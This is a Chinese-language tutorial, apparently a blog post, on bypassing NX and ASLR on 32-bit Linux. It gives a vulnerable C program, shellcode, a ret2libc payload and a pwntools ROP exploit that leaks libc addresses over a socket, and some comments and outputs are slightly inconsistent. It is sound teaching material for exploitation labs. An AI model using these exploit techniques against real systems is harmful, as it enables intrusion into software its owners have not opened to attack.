• Linux_x86下NX与ASLR绕过技术


    本文介绍Linux_x86下NX与ASLR绕过技术,并对GCC的Stack Canaries保护技术进行原理分析。

    本文使用存在漏洞代码如下:

    /* filename : sof.c */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
     
    void vulnerable_function() 
    {
        char buf[128] = {0x00};
        read(STDIN_FILENO, buf, 256);
    }
      
    int main(int argc, char** argv) 
    {
        vulnerable_function();
        return 0;
    }

    一、关闭NX,ASLR,Stack Canaries

    root@ubuntu :~# echo 0 >/proc/sys/kernel/randomize_va_space
    ez@ubuntu :~/workdir/rop$ gcc -fno-stack-protector -z execstack -o sof sof.c

    接下来,1.找到溢出位置,2.构造shellcode

    1.找到溢出位置

    ez@ubuntu :~/workdir/rop$ ulimit -c 8096

    ez@ubuntu :~/workdir/rop$ ./sof
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
    Segmentation fault (core dumped)

    调试core文件:

    ez@ubuntu :~/workdir/rop$ gdb ./sof core 
    Core was generated by `./sof'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x37654136 in ?? ()
    (gdb)

    ez@ubuntu:~/workdir/rop/tools$ python pattern.py offset 0x37654136
    hex pattern decoded as: 6Ae7
    140

    通过调试发现,溢出发生在140偏移处。下面验证我们的结论:

    ez@ubuntu:~/workdir/rop$ gdb ./sof

    (gdb) r
    Starting program: /home/ez/workdir/rop/sof 
    CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD

    Program received signal SIGSEGV, Segmentation fault.
    0x44444444 in ?? ()
    (gdb) x/s $esp-144
    0xbffff060: "CCCC", 'A' <repeats 136 times>, "DDDD 337426720361377277"
    (gdb) x/s $esp-4
    0xbffff0ec: "DDDD 337426720361377277"
    (gdb)

    画一张溢出时栈布局图,以便理解:

    2.构造shellcode

    我们将shellcode放到上图CCCC(0xbffff080)处,并将DDDD设置为shellcode地址:

    (注意:gdb会改变栈布局影响shellcode地址,CCCC地址应通过调试coredump获得)

    #!/usr/bin/env python
    from struct import pack 
     
    ret = 0xbffff080
    #mkdir "HACK" & chmod 777 & exit()
    shellcode = "x31xc0x50x68x48x41x43x4bxb0x27x89xe3x66x41xcdx80xb0x0fx66xb9xffx01xcdx80x31xc0x40xcdx80"
    ret_fmt = pack("<I", ret)
    payload = shellcode + 'A' * (140 - len(shellcode)) + ret_fmt
    fp = open("payload", "wb")
    fp.write(payload)
    fp.close()

     ez@ubuntu:~/workdir/rop$ ./sof < payload

    成功执行后,在当前路径下创建权限为777的"HACK"目录。

    二、Bypass NX

    ez@ubuntu:~/workdir/rop$ gcc -fno-stack-protector -o sof2 sof.c

    开启NX后,栈上shellcode变为不可执行。

    复用上述payload,发现利用失败:

    ez@ubuntu:~/workdir/rop$ ./sof2 < payload 
    Segmentation fault (core dumped)

    查看两种编译选项下Stack区别,发现开启NX保护的栈变得不可执行(rw-p):

    ez@ubuntu:~/workdir/rop$ ./sof & 
    [1] 2089 
    ez@ubuntu:~/workdir/rop$ ./sof2 & 
    [2] 2090 
    ez@ubuntu:~/workdir/rop$ cat /proc/2089/maps 
    bffdf000-c0000000 rwxp 00000000 00:00 0          [stack] 
    ez@ubuntu:~/workdir/rop$ cat /proc/2090/maps 
    bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

    接下来分析绕过方法,并演示"puts("/bin/sh")"功能的shellcode

    首先计算puts符号及"/bin/sh"字符串在目标程序中的地址:

    (gdb) b main 
    Breakpoint 1 at 0x804847d 
    (gdb) r 
    Starting program: /home/ez/workdir/rop/sof2 
    Breakpoint 1, 0x0804847d in main () 
    (gdb) print puts 
    $1 = {} 0xb7e7e190 <_IO_puts> 
    (gdb) 
    (gdb) print __libc_start_main 
    $2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7e31990 <__libc_start_main> 
    (gdb) 
    (gdb) find 0xb7e31990, +2000000, "/bin/sh" 
    0xb7f795a4 
    warning: Unable to access 16000 bytes of target memory at 0xb7fc392c, halting search. 
    1 pattern found. 
    (gdb) 
    (gdb) print exit 
    $1 = {} 0xb7e4b400 <__GI_exit> 
    (gdb)

    下面编写exp:

    #!/usr/bin/env python
    from struct import pack
    ret = pack("<I", 0xb7e4b400) #exit() addr
    putsaddr = pack("<I", 0xb7e7e190)
    binshaddr = pack("<I", 0xb7f795a4)
    payload =  'A'*140 + putsaddr + ret + binshaddr
    fp = open("payload_bypassdep", "wb")
    fp.write(payload)
    fp.close()

    解释一下payload的构造,首先使用'A' spay整个vulnerable_function函数的栈空间,接着覆盖返回地址为puts函数地址。栈上ret是puts返回时将执行的函数地址,这里选择exit函数。binshaddr是puts的第一个参数地址。

    函数调用时,首先在栈中压入参数,接着压入函数返回地址,因此这样构造Payload。

    ez@ubuntu:~/workdir/rop$ ./sof2 < payload_bypassdep 
    /bin/sh 
    ez@ubuntu:~/workdir/rop$

    成功执行。在shell中打印"/bin/sh"字符串。上面的方法,称为Ret2Libc技术。

    Bypass NX核心思想是,复用代码片段;栈上只提供函数参数,或地址。

    三、Bypass ASLR

    下面介绍比Ret2Libc更通用的技术,ROP。ROP更加通用的原因是,它复用的不仅是libc.so.6中的代码片段。

    首先开启系统ASLR功能:

    root@ubuntu :~# echo 2 >/proc/sys/kernel/randomize_va_space

    开启ASLR后,动态库在进程中加载位置变的随机化,注意下面libc.so.6库每次加载位置的变化:

    ez@ubuntu:~/workdir/rop$ ldd sof2 
    linux-gate.so.1 =>  (0xb77de000) 
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000) 
    /lib/ld-linux.so.2 (0xb77df000) 
    ez@ubuntu:~/workdir/rop$ ldd sof2 
    linux-gate.so.1 =>  (0xb77cf000) 
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7609000) 
    /lib/ld-linux.so.2 (0xb77d0000) 

    我们运行两个进程,验证一下:

    ez@ubuntu:~/workdir/rop$ ps -ef |grep sof2 |grep -v "grep" 
    ez        2547 10044  0 08:50 pts/0    00:00:00 ./sof2 
    ez        2548 10044  0 08:51 pts/0    00:00:00 ./sof2 
    ez@ubuntu:~/workdir/rop$ 
    ez@ubuntu:~/workdir/rop$ cat /proc/2547/maps 
    08048000-08049000 r-xp 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    08049000-0804a000 r--p 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    0804a000-0804b000 rw-p 00001000 08:01 567388     /home/ez/workdir/rop/sof2 
    b75db000-b75dc000 rw-p 00000000 00:00 0 
    b75dc000-b7785000 r-xp 00000000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b7785000-b7787000 r--p 001a9000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b7787000-b7788000 rw-p 001ab000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b7788000-b778b000 rw-p 00000000 00:00 0 
    b779f000-b77a1000 rw-p 00000000 00:00 0 
    b77a1000-b77a2000 r-xp 00000000 00:00 0          [vdso] 
    b77a2000-b77c2000 r-xp 00000000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77c2000-b77c3000 r--p 0001f000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77c3000-b77c4000 rw-p 00020000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    bfc5a000-bfc7b000 rw-p 00000000 00:00 0          [stack] 

    ez@ubuntu:~/workdir/rop$ cat /proc/2548/maps 
    08048000-08049000 r-xp 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    08049000-0804a000 r--p 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    0804a000-0804b000 rw-p 00001000 08:01 567388     /home/ez/workdir/rop/sof2 
    b7604000-b7605000 rw-p 00000000 00:00 0 
    b7605000-b77ae000 r-xp 00000000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b77ae000-b77b0000 r--p 001a9000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b77b0000-b77b1000 rw-p 001ab000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b77b1000-b77b4000 rw-p 00000000 00:00 0 
    b77c8000-b77ca000 rw-p 00000000 00:00 0 
    b77ca000-b77cb000 r-xp 00000000 00:00 0          [vdso] 
    b77cb000-b77eb000 r-xp 00000000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77eb000-b77ec000 r--p 0001f000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77ec000-b77ed000 rw-p 00020000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    bf8cb000-bf8ec000 rw-p 00000000 00:00 0          [stack] 

    会看到,栈、动态库的加载位置是变化的,而程序本身位置却无变化。所以可以将程序做为参照物,使用相对偏移计算库中元素位置。

    接下来分析一下ELF的PLT段,我们发现read函数和write函数是在程序本身和动态库中共有的,可以选做参照物:

    ez@ubuntu:~/workdir/rop$ objdump -d -j .plt sof2

    sof2:     file format elf32-i386


    Disassembly of section .plt:

    08048300 <read@plt-0x10>:
     8048300: ff 35 04 a0 04 08     pushl  0x804a004
     8048306: ff 25 08 a0 04 08     jmp    *0x804a008
     804830c: 00 00                 add    %al,(%eax)
     ...

    08048310 <read@plt>:
     8048310: ff 25 0c a0 04 08     jmp    *0x804a00c
     8048316: 68 00 00 00 00        push   $0x0
     804831b: e9 e0 ff ff ff        jmp    8048300 <_init+0x30>

    08048320 <__gmon_start__@plt>:
     8048320: ff 25 10 a0 04 08     jmp    *0x804a010
     8048326: 68 08 00 00 00        push   $0x8
     804832b: e9 d0 ff ff ff        jmp    8048300 <_init+0x30>

    08048330 <__libc_start_main@plt>:
     8048330: ff 25 14 a0 04 08     jmp    *0x804a014
     8048336: 68 10 00 00 00        push   $0x10
     804833b: e9 c0 ff ff ff        jmp    8048300 <_init+0x30>

    08048340 <write@plt>:
     8048340: ff 25 18 a0 04 08     jmp    *0x804a018
     8048346: 68 18 00 00 00        push   $0x18
     804834b: e9 b0 ff ff ff        jmp    8048300 <_init+0x30>

    利用这种方法,实现puts("/bin/sh")这样一个简单功能,因为puts符号和"/bin/sh"字符串都可以在glibc库中找到。

    首先构造这样一个payload:

    'A'*140 + plt_read + vulfun_addr + 2 + got_read + 4

    使用read@plt地址覆盖返回地址,read()的参数分别设置stdout,buffer,4bytes。read()执行完后再次执行漏洞代码所以栈上设置了vulnerable_function()函数地址。

    现在read@got里已经是库中read()函数的真实加载地址。分别通过偏移计算puts地址puts_addr,"/bin/sh"字串地址binsh_addr,exit地址exit_addr。

    构造payload再次输入:

    'A'*140  + puts_addr + exit_addr + binsh_addr

    演示一处相对偏移地址计算:

    (gdb) p read
    $1 = {<text variable, no debug info>} 0x800db6f0 <read>
    (gdb) p puts
    $2 = {<text variable, no debug info>} 0x80066190 <puts>

    (gdb) p/x 0x800db6f0-0x80066190
    $3 = 0x75560

    上面通过GDB演示2次交互过程,第一段payload执行完后,puts地址等当然可以在GDB中直接打印得到。通过pwntools编写的exp可以免去人的交互:

    #!/usr/bin/env python
    from pwn import *
      
    libc = ELF('libc.so.6')
    elf = ELF('sof2')
      
    p = remote('127.0.0.1', 10888)
      
    plt_read = elf.symbols['read'] #plt@read
    got_read = elf.got['read'] #got@read
    vulfun_addr = 0x80484fb  #vulnerable_function地址
    '''
    第一次执行后,got中read计算得到真实加载地址,p32(2) +p32(got_read) + p32(4)为read参数;
    read执行完后接着再执行一次vulnerable_function函数
    '''
    payload1 = 'A'*140 + p32(plt_read) + p32(vulfun_addr) + p32(1) +p32(got_read) + p32(4)
      
    print "
    ###sending payload1 ...###"
    p.send(payload1)
      
    print "
    ###receving read() addr...###"
    read_addr = u32(p.recv(4)) #got@read真实地址
    print "
    ###calculating puts() addr and "/bin/sh" addr...###"
    # 计算puts地址
    puts_addr = read_addr - (libc.symbols['read'] - libc.symbols['puts'])
    # 计算"/bin/sh"字符串地址
    binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh')))
      
    payload2 = 'A'*140  + p32(puts_addr) + p32(vulfun_addr) + p32(binsh_addr)
      
    print "
    ###sending payload2 ...###"
    p.send(payload2)

    运行sof2,绑定到10888端口:

    socat TCP4-LISTEN:10888,fork EXEC:./sof2

    执行exp:

    ez@ubuntu:~/workdir/rop$ python bypass_aslr.py 
    [+] Opening connection to 127.0.0.1 on port 10888: Done 
    ###sending payload1 ...### 
    ###receving write() addr...### 
    ###calculating puts() addr and "/bin/sh" addr...### 
    ###sending payload2 ...### 
    [*] /bin/sh 
    [*] Closed connection to 127.0.0.1 port 10888

  • 相关阅读:
    消息推送之百度云推送Android集成与用法
    编程算法
    leetcode_Jump Game
    使用UIScrollView和UIPageControl做一个能够用手势来切换图片的效果
    Django 介绍、安装配置、基本使用、Django 用户注冊样例
    windows下mysql5.6.20使用mysqldumpslow.pl分析慢日志
    Flex布局 Flexbox属性具体解释
    php 在同一个表单中加入和改动
    Leetcode:remove_element
    java_oop_关键字
  • 原文地址:https://www.cnblogs.com/gm-201705/p/9901577.html
Copyright © 2020-2023  润新知